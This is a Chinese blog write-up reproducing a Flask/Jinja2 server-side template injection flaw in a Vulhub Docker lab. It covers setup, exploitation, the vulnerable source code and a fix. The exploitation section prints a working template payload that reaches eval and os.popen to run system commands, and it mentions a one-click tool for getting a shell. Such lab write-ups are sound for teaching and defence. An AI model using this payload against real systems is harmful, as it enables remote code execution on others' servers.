vlambda博客
学习文章列表

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


目录:

1.漏洞概述

2.影响范围

3.漏洞等级

4.漏洞复现

(1)环境搭建

(2)漏洞利用

5.漏洞原理

(1)分析payload

(2)分析源码

6.修复建议






1.漏洞概述

  服务器模板注入(SSTI)是一种利用公共 Web框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI攻击可以用拼接恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。





2.影响范围

 使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。


3.漏洞等级

高危





4.漏洞复现

(1)环境搭建

        使用Vluhub_docker复现Flask服务端模板(Jinja2)注入漏洞。


root@afei:~# cd vulhub/flask/sstiroot@afei:~/vulhub/flask/ssti# docker-compose up -d...Digest: sha256:20d202d35fe99818878a3f844362210a21894bfab57b8acf23dfa3ade9a87026Status: Downloaded newer image for vulhub/flask:1.1.1Creating ssti_web_1 ... doneroot@afei:~/vulhub/flask/ssti# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES592b0df8176d vulhub/flask:1.1.1 "/bin/sh -c 'gunicor…" 2 days ago Up 2 days 0.0.0.0:8000->8000/tcp ssti_web_1root@afei:~/vulhub/flask/ssti#


Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


(2)漏洞利用

发现漏洞:

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

说明确实存在注入漏洞。


xss漏洞:

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


命令注入:

Payload:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("系统命令").read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}


查看当前系统id权限:

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


查看源码:

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


 在github上有大神早已写出一键注入获取shell工具了。

pip install -r .\requirements.txt


Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

成功注入获取shell。





5.漏洞原理

   Flask模板注入学习,请。


(1)分析payload

查看python的内置模块:

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

 payload中使用了warnings.catch_warnings模块,查找资料发现os模块就是从该模块入手的。

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

 可以看到Payload中使用的eval函数是存在于

warnings.catch_warnings模块中的。


(2)分析源码

from flask import Flask, request from jinja2 import Template app = Flask(__name__) 
@app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()

从上述源码漏洞主要出在:"t = Template("Hell" + name)",由于使用拼接后直接进行渲染,导致命令注入。





6.修复建议

 将index()函数修改为如下,即可有效防范注入漏洞。

@app.route("/") def index():  name = request.args.get('name', 'guest')  t = Template("Hello {{n}}")  return t.render(n=name)

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


 

               参考文章:

https://www.freebuf.com/articles/web/98619.html

           参考文章:https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf



更多文章请前往:https://blog.csdn.net/qq_41490561





Flask服务端模板(Jinja2)注入漏洞(SSTI)复现
更多精彩内容请关注我们

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


Flask服务端模板(Jinja2)注入漏洞(SSTI)复现


往期推荐